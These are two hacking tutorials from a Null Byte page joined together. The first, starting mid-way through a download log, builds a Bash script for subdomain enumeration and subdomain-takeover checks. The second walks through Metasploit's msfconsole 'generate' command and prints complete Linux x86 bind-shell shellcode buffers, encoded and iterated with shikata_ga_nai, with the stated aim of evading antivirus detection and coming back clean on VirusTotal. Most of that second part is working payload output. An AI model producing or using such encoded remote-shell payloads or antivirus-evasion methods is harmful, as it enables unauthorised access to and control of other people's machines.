https://github-production-release-asset-2e65be.s3.amazonaws.com/193392376/6e64a200-d33f-11e9-9d79-2165e6e68bb1?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210428%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210428T200012Z&X-Amz-Expires=300&X-Amz-Signature=3704ee96ec028f1ac8de3a3af870351ff434bdbd1150e3893a2cd02d43113b71&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=193392376&response-content-disposition=attachment%3B%20filename%3Dassetfinder-linux-amd64-0.1.0.tgz&response-content-type=application%2Foctet-stream [following] --2021-04-28 15:00:12-- https://github-production-release-asset-2e65be.s3.amazonaws.com/193392376/6e64a200-d33f-11e9-9d79-2165e6e68bb1?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210428%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210428T200012Z&X-Amz-Expires=300&X-Amz-Signature=3704ee96ec028f1ac8de3a3af870351ff434bdbd1150e3893a2cd02d43113b71&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=193392376&response-content-disposition=attachment%3B%20filename%3Dassetfinder-linux-amd64-0.1.0.tgz&response-content-type=application%2Foctet-stream Resolving github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)... 52.217.46.132 Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)|52.217.46.132|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 3739744 (3.6M) [application/octet-stream] Saving to: β€˜assetfinder-linux-amd64-0.1.0.tgz’ assetfinder-linux-amd64-0.1.0.tgz 100%[=====================================================================================>] 3.57M 1.78MB/s in 2.0s 2021-04-28 15:00:14 (1.78 MB/s) - β€˜assetfinder-linux-amd64-0.1.0.tgz’ saved [3739744/3739744]And usetarto extract the binary:~# tar xzf assetfinder-linux-amd64-0.1.0.tgzThen, move assetfinder to a directory in our path:~# mv assetfinder /usr/local/bin/Third, we need a tool calledhttprobe, which will allow us to filter live hosts in our results. Grab the release from GitHub with:~# wget https://github.com/tomnomnom/httprobe/releases/download/v0.1.2/httprobe-linux-amd64-0.1.2.tgz --2021-04-28 15:05:40-- https://github.com/tomnomnom/httprobe/releases/download/v0.1.2/httprobe-linux-amd64-0.1.2.tgz Resolving github.com (github.com)... 140.82.114.4 Connecting to github.com (github.com)|140.82.114.4|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://github-production-release-asset-2e65be.s3.amazonaws.com/80510806/d4c97700-afc2-11e9-9a18-8f50cc10ac23?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210428%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210428T200541Z&X-Amz-Expires=300&X-Amz-Signature=35781254f155f3fd67a026f17035c7fa9f0124feed26e08a305266c73eff08f0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=80510806&response-content-disposition=attachment%3B%20filename%3Dhttprobe-linux-amd64-0.1.2.tgz&response-content-type=application%2Foctet-stream [following] --2021-04-28 15:05:41-- https://github-production-release-asset-2e65be.s3.amazonaws.com/80510806/d4c97700-afc2-11e9-9a18-8f50cc10ac23?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210428%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210428T200541Z&X-Amz-Expires=300&X-Amz-Signature=35781254f155f3fd67a026f17035c7fa9f0124feed26e08a305266c73eff08f0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=80510806&response-content-disposition=attachment%3B%20filename%3Dhttprobe-linux-amd64-0.1.2.tgz&response-content-type=application%2Foctet-stream Resolving github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)... 52.217.44.212 Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)|52.217.44.212|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 3555994 (3.4M) [application/octet-stream] Saving to: β€˜httprobe-linux-amd64-0.1.2.tgz’ httprobe-linux-amd64-0.1.2.tgz 100%[=====================================================================================>] 3.39M 1.61MB/s in 2.1s 2021-04-28 15:05:43 (1.61 MB/s) - β€˜httprobe-linux-amd64-0.1.2.tgz’ saved [3555994/3555994]Unpack the binary:~# tar xzf httprobe-linux-amd64-0.1.2.tgzAnd move it to a directory in our path:~# mv httprobe /usr/local/bin/Fourth, we need to configure a couple of things for Go. First,make a directorycalledgo:~# mkdir /usr/local/goUse the following command to set the GOPATH environmental variable:~# go env -w GOPATH=/usr/local/goWe can confirm that we set it correctly:~# go env GOPATH /usr/local/goThen, we need to add GOPATH to our path. Use the following command, creating the/bindirectory if it doesn't already exist:~# export PATH=$PATH:$(go env GOPATH)/binNext, we can make our changes persistent by adding the configuration to our.bashrcfile:~# echo 'export GOPATH=/usr/local/go' >> ~/.bashrcUse the following command to source the file, making it persistent:~# . ~/.bashrcLast, we need a tool calledSubjack; we'll get into what this tool does later on, but for now, we can install it with thego getcommand:~# go get github.com/haccer/subjackThat will automatically install it in our GOPATH and make it ready to use. And that should be everything we need, so now let's start our script.Step 2: Start the ScriptTo begin, create a script and open it with your favoritetext editor:~# nano subrecon.shThe first line we need, called a shebang or hashbang, will point to the system's interpreter. This tells the system how to run the file; in this case, it is aBash script:#!/bin/bashNext, we will make sure the user supplies input to the script, and if not, prints a usage example and exits. Use aconditional if-thenblock:if [ -z $1 ] then echo './subrecon.sh <list of domains>' exit 1 fiThe$1is the argument passed to the script, and the-zoption returns true if the string is null. So basically, this says if no argument is supplied, show the usage and exit. The argument we'll pass in is a list of domains.Don't Miss:How to Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerStep 3: Enumerate SubdomainsThe first action our script will take is enumerating subdomains:echo 'FINDING SUBDOMAINS...' while read $line do for var in $line do echo 'enumerating:' $var subfinder -silent -d $var > out1 cat out1 >> subs1 assetfinder -subs-only $var > out2 cat out2 >> subs2 rm out1 out2 done done < $1This will use a while loop to read input from our file containing a list of domains, use a variable to display the current domain being enumerated, and gather results from both Subfinder and assetfinder.The next section will combine the results, remove any duplicates, and save the output to a file calledall_subs:sort -u subs1 subs2 > all_subs rm subs1 subs2 echo 'saved subdomains to all_subs'Step 4: Determine Live HostsThe next part of the script will determine which hosts from the previous results are live. This is extremely useful for cutting down the time it takes to go through everything since hosts that are down are usually of no interest.This will take the list of subdomains and use httprobe to filter out live hosts, saving the results to a file calledlive_subs:echo 'FINDING LIVE HOSTS...' cat all_subs | httprobe > live_subs echo 'saved live hosts to live_subs'Step 5: Test for Subdomain TakeoverSubdomain takeoveris the process of registering a domain name to gain control over another domain. This happens when a host, usually a subdomain, points to a service that is no longer in use. The most common scenario is when a subdomain points to another domain, theDNS recordexpires, and the domain is available to be registered by someone else. Anyone who can successfully register the domain now has full control over the subdomain.Don't Miss:How to Quickly Look Up the Valid Subdomains for Any WebsiteIn some cases, this type of attack is not possible due to verification methods, but you'd be surprised by how many services are vulnerable to subdomain takeover.Amazon S3 buckets, GitHub pages, Heroku, Shopify, andMicrosoft Azureare all prone to this attack in some shape or form.Subjack is a handy tool that will test a list of subdomains for potential takeover. Here, we will use the-wflag for an input file and the-aflag to send requests to every URL:echo 'CHECKING FOR SUBDOMAIN TAKEOVER...' subjack -w all_subs -a echo 'DONE'If anything in our list is vulnerable to subdomain takeover, the results will show on-screen along with the associated service.Step 6: Review the ScriptThe final script should look something like this:#!/bin/bash if [ -z $1 ] then echo './subrecon.sh <list of domains>' exit 1 fi echo 'FINDING SUBDOMAINS...' while read line do for var in $line do echo 'enumerating:' $var subfinder -silent -d $var > out1 cat out1 >> subs1 assetfinder -subs-only $var > out2 cat out2 >> subs2 rm out1 out2 done done < $1 sort -u subs1 subs2 > all_subs rm subs1 subs2 echo 'saved subdomains to all_subs' echo 'FINDING LIVE HOSTS...' cat all_subs | httprobe > live_subs echo 'saved live hosts to live_subs' echo 'CHECKING FOR SUBDOMAIN TAKEOVER...' subjack -w all_subs -a echo 'DONE'Now it's time to test it out. Save the script, then make it executable:~# chmod +x subrecon.shAnd run it, supplying a list of domains to enumerate:~# ./subrecon.sh domains.txt FINDING SUBDOMAINS... enumerating: wonderhowto.com saved subdomains to all_subs FINDING LIVE HOSTS... saved live hosts to live_subs CHECKING FOR SUBDOMAIN TAKEOVER... DONEThis is a good start, but the beauty of this script is that it can easily be expanded. Anything useful forrecon, especially subdomain recon, can be added to make the process of enumeration unique.Wrapping UpIn this tutorial, we learned how to write our own subdomain enumeration script in Bash. First, we installed some dependencies and got started on our script. Next, we used Subfinder and assetfinder to discover subdomains and combine the results, and filtered out live hosts with httprobe. Finally, we utilized Subjack to check for potential subdomain takeover.Don't Miss:How to Discover Hidden Subdomains on Any Website with SubfinderWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byChristina Morillo/PexelsRelatedHow To:Quickly Look Up the Valid Subdomains for Any WebsiteAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowDon't Be a Script-Kiddie part2:Building an Auto-Exploiter Bash ScriptHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Conduct Recon on a Web Target with Python ToolsHow To:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerHow To:Get Started Writing Your Own NSE Scripts for NmapHow To:Use WebTech to Discover What Technologies a Website UsesHow To:Bypass Facebook's HSTSHow To:Force Safari to Automatically Show Reader View for Specific Websites on Your iPhoneHow To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHow To:Discover Hidden Subdomains on Any Website with SubfinderHow To:Find & Exploit SUID Binaries with SUID3NUMHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Don't Be a Script-Kiddie part1:Introduction to Shell ScriptHack Like a Pro:Abusing DNS for ReconnaissanceHow To:Write better action beats in a screenplayHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellHow To:Use Photon Scanner to Scrape Web OSINT DataHow To:Script Writing Basics How to Structure a Film Script lWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:The Money Making MacroForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsNews:INTRO TO SCREENWRITINGNews:AsteroidsHow To:Bash (Shell) Scripting for BeginnersNews:Wario Ware DIYHow To:Start a PoemHow To:Screenplay Format Guide (PDF)
How to Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus Detection Β« Null Byte :: WonderHowTo
One of the things that sets aseasoned hackerapart from thescript kiddiesis the ability to effectively sneak past antivirus defenses when executing an attack. One way to do this is to usecustom shellcodein an exploit. Not everyone is an expert at writing shellcode, but luckily there's an easy way to do this that is both quick and effective.Antivirus evasionis a broad field that some people devote their entire work to. It is a large part ofexploit development, and it is certainly useful when trying to bypass common defense mechanisms. One of the ways to obfuscate payloads is by generating custom shellcode. This method can be utilized when developing an exploit from scratch or when using an existing exploit to better hide from antivirus software.Don't Miss:How to Create an Undetectable Windows 10 PayloadInMetasploit, payload shellcode can be generated from within the framework. We will be using msfconsole today, which is arguably the most popular interface for Metasploit. When a payload is loaded, a few commands become available, including thegeneratecommand, which will be the focus of this guide.Generating a PayloadFirst off, let's fire up Metasploit by typingmsfconsolein theterminal. Once it loads, we can choose a payload. Most any payload will suffice, but for demonstration purposes, we will be using a simplebind shell.Typeuse payload/linux/x86/shell_bind_tcpto load the payload and bring it into focus, followed byhelpto display the available commands:msf > use payload/linux/x86/shell_bind_tcp msf payload(linux/x86/shell_bind_tcp) > help ... Payload Commands ================ Command Description ------- ----------- check Check to see if a target is vulnerable generate Generates a payload reload Reload the current module from disk to_handler Creates a handler with the specified payloadThe command we are interested in isgenerate, so entergenerate -hto show the various options that are available:msf payload(linux/x86/shell_bind_tcp) > generate -h Usage: generate [options] Generates a payload. OPTIONS: -E Force encoding. -b <opt> The list of characters to avoid: '\x00\xff' -e <opt> The name of the encoder module to use. -f <opt> The output file name (otherwise stdout) -h Help banner. -i <opt> the number of encoding iterations. -k Keep the template executable functional -o <opt> A comma separated list of options in VAR=VAL format. -p <opt> The Platform for output. -s <opt> NOP sled length. -t <opt> The output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war -x <opt> The executable template to useDon't Miss:What You Need to Know About Payloads in MetasploitOption 1: Default GenerationWe can generate shellcode without any options, although the odds of this payload bypassing any modern antivirus software are probably pretty low. Below, we can see the size of the generated payload, 78 bytes, followed by some other settings, and finally the raw shellcode.msf payload(linux/x86/shell_bind_tcp) > generate # linux/x86/shell_bind_tcp - 78 bytes # http://www.metasploit.com # VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependSetresgid=false, # PrependSetregid=false, PrependSetgid=false, # PrependChrootBreak=false, AppendExit=false buf = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" + "\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89" + "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" + "\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" + "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" + "\x50\x53\x89\xe1\xb0\x0b\xcd\x80"Option 2: Use Different EncodersMetasploit will automatically select the bestencoderfor the job, by default, but we can also specify which one to use to fit custom needs. Typeshow encodersto see a list of the available encoders and their descriptions.msf payload(linux/x86/shell_bind_tcp) > show encoders Encoders ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- cmd/brace low Bash Brace Expansion Command Encoder cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Bourne ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder ruby/base64 great Ruby Base64 Encoder ...For example, we could use a simpleXOR countdown encoder(x86/countdown). Specify the encoder to use with the-eflag. The generated shellcode is a little different now, in addition to being slightly larger at 94 bytes.msf payload(linux/x86/shell_bind_tcp) > generate -e x86/countdown # linux/x86/shell_bind_tcp - 94 bytes # http://www.metasploit.com # Encoder: x86/countdown # VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependSetresgid=false, # PrependSetregid=false, PrependSetgid=false, # PrependChrootBreak=false, AppendExit=false buf = "\x6a\x4d\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07" + "\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62\x0b\x83\xea\xbc" + "\x6b\xc3\x8f\x4b\x4f\x40\x7b\x16\x15\x07\x4b\x72\x09\x4b" + "\x4b\x95\xfc\x74\x79\x78\xec\xa2\xaa\x65\x21\x95\x23\x98" + "\x4f\xe7\xab\x6f\x9d\x48\xe2\xb0\xa2\x6b\x59\x0b\x6d\xfb" + "\xb7\x71\x40\xc2\x53\x13\x12\x4d\x57\x28\x6e\x20\x2a\x2a" + "\xcc\xa5\x17\x1b\xc0\xab\xfb\x47\x80\xce"Option 3: Remove Bad CharactersDepending on the target, certain characters might not be allowed to exist in the payload. Thenull byte(\x00), except for in rare cases, almost always causes problems when present in a payload. To generate shellcode while removing a specific character, use the-bflag.msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00' # linux/x86/shell_bind_tcp - 105 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependSetresgid=false, # PrependSetregid=false, PrependSetgid=false, # PrependChrootBreak=false, AppendExit=false buf = "\xbb\xed\x04\xc7\xf5\xdd\xc7\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x14\x31\x5a\x14\x83\xc2\x04\x03\x5a\x10\x0f\xf1\xf6" + "\x2e\x38\x19\xab\x93\x95\xb4\x4e\x9d\xf8\xf9\x29\x50\x7a" + "\xa2\xeb\x38\x12\x57\x14\xac\xbe\x3d\x04\x9f\x6e\x4b\xc5" + "\x75\xe8\x13\xcb\x0a\x7d\xe2\xd7\xb9\x79\x55\xb1\x70\x01" + "\xd6\x8e\xed\xcc\x59\x7d\xa8\xa4\x66\xda\x86\xb8\xd0\xa3" + "\xe0\xd0\xcd\x7c\x62\x48\x7a\xac\xe6\xe1\x14\x3b\x05\xa1" + "\xbb\xb2\x2b\xf1\x37\x08\x2b"We can also omit multiple characters at once.msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' # linux/x86/shell_bind_tcp - 105 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependSetresgid=false, # PrependSetregid=false, PrependSetgid=false, # PrependChrootBreak=false, AppendExit=false buf = "\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x14\xb8\xb8\x2e" + "\x24\x7f\x83\xc5\x04\x31\x45\x15\x03\x45\x15\x5a\xdb\x15" + "\xa4\x6d\xc7\x05\x19\xc2\x62\xa8\x14\x05\xc2\xca\xeb\x45" + "\x78\x4d\xa6\x2d\x7d\x71\x57\xf1\xeb\x61\x06\x59\x65\x60" + "\xc2\x3f\x2d\xae\x93\x36\x8c\x34\x27\x4c\xbf\x53\x8a\xcc" + "\xfc\x2b\x72\x01\x82\xdf\x22\xf3\xbc\x87\x19\x83\x8a\x4e" + "\x5a\xeb\x23\x9e\xe9\x83\x53\xcf\x6f\x3a\xca\x86\x93\xec" + "\x41\x10\xb2\xbc\x6d\xef\xb5"At a certain point, though, this feature has its limits. If too many characters are disallowed, the payload might not be allowed to be generated, resulting in the following error.[-] Payload generation failed: No encoders encoded the buffer successfully.Recommended Book: "Metasploit: The Penetration Tester's Guide" fromAmazon|WalmartOption 4: Multiple IterationsAnother useful technique for bypassing antivirus is encoding the payload with multiple passes. This essentially takes the generated shellcode and runs it through the encoder again with as many passes as defined. Use the-iflag to specify the number of iterations to encode the payload with.msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' -i 5 # linux/x86/shell_bind_tcp - 213 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependSetresgid=false, # PrependSetregid=false, PrependSetgid=false, # PrependChrootBreak=false, AppendExit=false buf = "\xd9\xc6\xd9\x74\x24\xf4\x5f\xbd\x8d\x20\x24\xe6\x33\xc9" + "\xb1\x2f\x31\x6f\x19\x83\xc7\x04\x03\x6f\x15\x6f\xd5\x9e" + "\x6e\x55\xa6\x85\xb5\x7e\x1f\x4d\x6e\x74\xff\x9f\xa7\xc5" + "\x28\xd1\x60\x30\x2a\x46\x9a\xb9\xeb\x6c\x46\xc0\x12\x1b" + "\x05\x33\xe7\x68\x65\x0c\xc3\x1e\xc6\xdb\xd9\x59\x5d\x6c" + "\x89\xd0\xc9\x26\xd4\x5d\x1d\xea\xe0\xbc\x1b\x7f\xee\x8d" + "\x5f\xaf\xd0\xb4\x9e\xec\x3f\x38\x83\x03\x9f\x44\xe4\x83" + "\x3f\xc9\x4f\x41\x2c\x4b\x94\x98\x5d\x4e\x27\x1f\x15\x76" + "\xb6\x12\xf5\xfd\xf4\x35\x9f\xfd\xa3\xd1\x93\xa3\x39\x6e" + "\x9c\xbe\xd6\xbc\xb0\x5a\x6b\x03\x52\x56\x7b\x54\x1b\xb6" + "\x3c\x4e\xc8\x1e\x30\xa5\x1f\xe3\x2e\x90\x78\x22\x7d\x67" + "\x08\x04\x91\x77\x7e\xde\xce\x4e\xa8\x5c\xa3\x77\x63\xe3" + "\x67\x41\x2d\x9c\x29\x0b\x57\x02\x23\x50\x1b\x8a\x82\xbe" + "\x0e\x5e\x8a\x96\x5e\x1d\x65\xbe\x3b\x51\x80\xa5\x0f\x8f" + "\x30\xdf\x12\xd0\x80\xa6\x4c\x1a\xf0\xc2\x17\xdd\xa3\x7d" + "\x2d\xc1\x0c"Option 5: Combine OptionsKeep in mind, we can combine multiple options when generating shellcode in order to better our chances at evading antivirus detection. If we look closely, the default listen port for our bind shell is set to 4444. We can change that, and any other option for that matter, by using the-oflag followed by the variable and the value to set. Let's change the listen port to 1234.msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' -i 5 -o lport=1234 # linux/x86/shell_bind_tcp - 213 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=1234, RHOST=, PrependFork=false, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependSetresgid=false, # PrependSetregid=false, PrependSetgid=false, # PrependChrootBreak=false, AppendExit=false buf = "\xb8\xee\x58\x02\xcc\xda\xcc\xd9\x74\x24\xf4\x5a\x2b\xc9" + "\xb1\x2f\x83\xea\xfc\x31\x42\x10\x03\x42\x10\x0c\xad\xd8" + "\x01\x6a\x27\x02\xd8\xa0\x61\xc8\xff\x40\xcf\x18\xc9\x19" + "\xd8\x6b\x9f\x43\x9a\x4a\x1b\x70\xca\x44\xc6\xea\x96\xe7" + "\x07\x35\x8e\x31\x9f\x37\x99\x0f\x70\xaa\xba\x48\xd9\x1b" + "\x88\xdd\xc2\x4f\x1a\xc7\xac\xb6\xe7\xd4\x86\xdd\x24\x1b" + "\xa0\x60\x51\x78\x01\x37\x50\x84\x39\xe3\xe1\x95\x18\x65" + "\xfb\x97\x75\xc2\x7f\x82\xcd\x93\xf1\x4e\x49\xff\x99\xde" + "\x85\x10\xf9\xad\x4c\xec\x37\xb4\x04\x1c\xb0\xc6\xcf\x55" + "\x6a\xa9\x68\xc6\x84\xad\xba\xfa\x59\x3a\x02\xbf\x32\x55" + "\x9d\x9f\x76\x80\x54\xd9\xcc\x03\x8c\x65\x2b\x8f\xdc\x4c" + "\xd9\x6f\x6f\x6e\x0e\x8a\x8a\xa8\x14\xb9\x2d\x70\x78\xed" + "\xa2\x24\xac\xf1\x15\xd0\x90\xeb\x38\x56\x52\x6b\xf3\xeb" + "\x77\x21\xeb\x3d\x64\xf9\xc3\x65\xe3\xab\x5c\xd5\xaa\x3d" + "\x07\xa0\x95\x3f\xd3\x9b\xc9\x48\x52\x0b\x15\x42\xa8\x2d" + "\x54\x01\x4f"Option 6: Output FormatsAnother extremely useful feature is the ability to encode the payload in different output formats. A listing of the available formats can be seen by viewing the help options, with thegenerate -hcommand. To generate shellcode in Java format, for example, we can use the-tflag. We can see that the output looks a little different than before since the shellcode is in another format now.msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' -i 5 -o lport=1234 -t java /* * linux/x86/shell_bind_tcp - 213 bytes * http://www.metasploit.com * Encoder: x86/shikata_ga_nai * VERBOSE=false, LPORT=1234, RHOST=, PrependFork=false, * PrependSetresuid=false, PrependSetreuid=false, * PrependSetuid=false, PrependSetresgid=false, * PrependSetregid=false, PrependSetgid=false, * PrependChrootBreak=false, AppendExit=false */ byte buf[] = new byte[] { (byte) 0xbd, (byte) 0x47, (byte) 0xcc, (byte) 0x2b, (byte) 0x9a, (byte) 0xd9, (byte) 0xc7, (byte) 0xd9, (byte) 0x74, (byte) 0x24, (byte) 0xf4, (byte) 0x5a, (byte) 0x33, (byte) 0xc9, (byte) 0xb1, (byte) 0x2f, (byte) 0x31, (byte) 0x6a, (byte) 0x14, (byte) 0x83, (byte) 0xea, (byte) 0xfc, (byte) 0x03, (byte) 0x6a, (byte) 0x10, (byte) 0xa5, (byte) 0x39, (byte) 0xf0, (byte) 0x4c, (byte) 0x93, (byte) 0x94, (byte) 0x72, (byte) 0x6d, (byte) 0x33, (byte) 0xc1, (byte) 0x09, (byte) 0xa9, (byte) 0x47, (byte) 0xaa, (byte) 0xd8, (byte) 0x78, (byte) 0x16, (byte) 0x63, (byte) 0x98, (byte) 0xbb, (byte) 0x5c, (byte) 0x45, (byte) 0xce, (byte) 0x2d, (byte) 0x5f, (byte) 0xf5, (byte) 0xf8, (byte) 0xb3, (byte) 0xfc, (byte) 0x59, (byte) 0xd8, (byte) 0x5c, (byte) 0x95, (byte) 0x72, (byte) 0x82, (byte) 0x0f, (byte) 0x67, (byte) 0xe9, (byte) 0xfa, (byte) 0x60, (byte) 0xcd, (byte) 0x43, (byte) 0x0c, (byte) 0xa8, (byte) 0x89, (byte) 0xe7, (byte) 0xc5, (byte) 0xf7, (byte) 0x96, (byte) 0x64, (byte) 0x15, (byte) 0x65, (byte) 0x09, (byte) 0x99, (byte) 0x25, (byte) 0xe0, (byte) 0x91, (byte) 0xd2, (byte) 0x61, (byte) 0xc3, (byte) 0x9e, (byte) 0xed, (byte) 0xed, (byte) 0x87, (byte) 0xd4, (byte) 0x83, (byte) 0xbb, (byte) 0x5d, (byte) 0x46, (byte) 0xaa, (byte) 0x4d, (byte) 0x1a, (byte) 0xd9, (byte) 0x1a, (byte) 0x3c, (byte) 0xf9, (byte) 0xa5, (byte) 0x44, (byte) 0xb6, (byte) 0x47, (byte) 0xe2, (byte) 0x82, (byte) 0x58, (byte) 0xe4, (byte) 0xf7, (byte) 0x30, (byte) 0x9b, (byte) 0x6a, (byte) 0x0b, (byte) 0xa7, (byte) 0xf9, (byte) 0xb5, (byte) 0x23, (byte) 0x99, (byte) 0x54, (byte) 0xc6, (byte) 0x0f, (byte) 0x4a, (byte) 0x63, (byte) 0x08, (byte) 0xe3, (byte) 0xeb, (byte) 0xc4, (byte) 0x39, (byte) 0xa2, (byte) 0xe7, (byte) 0x1f, (byte) 0x87, (byte) 0x0e, (byte) 0xc9, (byte) 0x94, (byte) 0xc2, (byte) 0x1d, (byte) 0x39, (byte) 0xba, (byte) 0xd4, (byte) 0x98, (byte) 0x53, (byte) 0x5b, (byte) 0xfa, (byte) 0x42, (byte) 0x27, (byte) 0x10, (byte) 0xf1, (byte) 0x82, (byte) 0xd3, (byte) 0x7c, (byte) 0x67, (byte) 0x13, (byte) 0x90, (byte) 0xbc, (byte) 0xaf, (byte) 0xb6, (byte) 0xcb, (byte) 0x6b, (byte) 0x50, (byte) 0x62, (byte) 0xee, (byte) 0xaa, (byte) 0x80, (byte) 0x6e, (byte) 0x75, (byte) 0x5e, (byte) 0x9b, (byte) 0xcc, (byte) 0xf6, (byte) 0x3f, (byte) 0xde, (byte) 0xd9, (byte) 0xa2, (byte) 0xf2, (byte) 0x8b, (byte) 0x9d, (byte) 0x1a, (byte) 0x4b, (byte) 0x9f, (byte) 0xdc, (byte) 0x96, (byte) 0x69, (byte) 0x74, (byte) 0xfc, (byte) 0x4f, (byte) 0x18, (byte) 0x72, (byte) 0x35, (byte) 0x88, (byte) 0x71, (byte) 0x46, (byte) 0x31, (byte) 0x5d, (byte) 0x9b, (byte) 0x44, (byte) 0x34, (byte) 0x46, (byte) 0xec, (byte) 0x1e, (byte) 0xdd, (byte) 0x8e, (byte) 0xf9, (byte) 0xb3, (byte) 0xe0, (byte) 0x51, (byte) 0x4e, (byte) 0xb8, (byte) 0xee, (byte) 0x7b, (byte) 0x29, (byte) 0x1e };Option 7: Save as FileFinally, we have the option to save the generated payload to a file instead of having it displayed directly on the screen. Use the-fflag followed by the file path β€” in this case, the file titled "payload" is being saved right in the home directory.msf payload(linux/x86/shell_bind_tcp) > generate -b '\x00\xa1\x66\x81' -i 5 -o lport=1234 -t java -f payload [*] Writing 3183 bytes to payload...Will This Really Bypass Antivirus Tools?Virus Totalis an online tool used to examine suspicious files to determine if they are malicious or not. It combines many antivirus products and tests uploaded files for known signatures in the database. We can see that the sample payload we created comes back clean for most antivirus software.Please note that uploading a file to Virus Total will add it to the database, so don't upload anything that you don't want to be detected in the future. Feel free to play around with all the different options that the generate command has to offer, and have fun creating a totally unrecognizable payload.Closing ThoughtsMetasploit makes it easy to generate custom shellcode from within msfconsole, in an effort to obfuscate payloads and evade antivirus 